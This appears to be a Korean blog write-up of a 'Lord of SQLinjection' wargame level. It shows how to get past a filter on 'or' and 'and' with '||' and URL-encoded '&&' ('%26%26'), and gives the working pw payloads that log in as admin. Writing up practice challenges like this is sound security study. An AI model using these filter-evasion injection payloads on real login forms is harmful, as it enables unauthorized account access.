필터링 되는 부분은 위에 빨간색으로 표시된 부분이고, 우리가 변조할 수 있는 파라미터는 pw 뿐이다.

앞선 문제들과 동일하게 id = 'guest' 쪽은 건들일 수 없으니 pw에 id = admin이 들어가도록 조치해야 한다.

일단 필터링 되는 부분에 추가된 사항은 or 과 and 가 필터링된다는 것이다.

그럼 or 과 and 대신 사용할 수 있는 기법을 알아보자.

 

or 우회 기법

||
%7c%7c

and 우회 기법

&&
%26%26

특수문자를 두번사용하거나, url 인코딩을 진행하는 것이다.

단, url에서 &기호는 예약문자로, 여러가지 파라미터를 전달할 때 param1=test&param2=admin 이런식으로 연결자로 쓰이기 때문에 유의해야 한다.

 

 

 

먼저, 

pw=' ' || 1=1 && id = 'admin ' 이렇게 입력했더니 || 은 인식되었지만 && 은 필터링된 건지 인식하지 못한건지 공격이 먹히지 않았다.

그래서

pw=' ' || 1=1 && id = 'admin ' 에서 &&대신 인코딩을 진행하여 %26%26으로 바꿔 대입해보았다.

pw=%27%20||%201=1%20%26%26%20id%20=%20%27admin

그랬더니 성공!

똑같이 || 부분을 %7c로 둘다 인코딩해도 성공한다.

pw=%27%20%7c%7c%201=1%20%26%26%20id%20=%20%27admin

 

 

solve!!!!!!!!!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step.8 troll 풀이  (0) 2023.06.13
[LOS] step.7 orge 풀이  (0) 2023.06.13
[LOS] step.5 wolfman풀이  (0) 2023.06.12
[LOS] step.3 goblin 풀이  (0) 2023.06.12
[LOS] step.4 orc 풀이  (0) 2023.06.12

+ Recent posts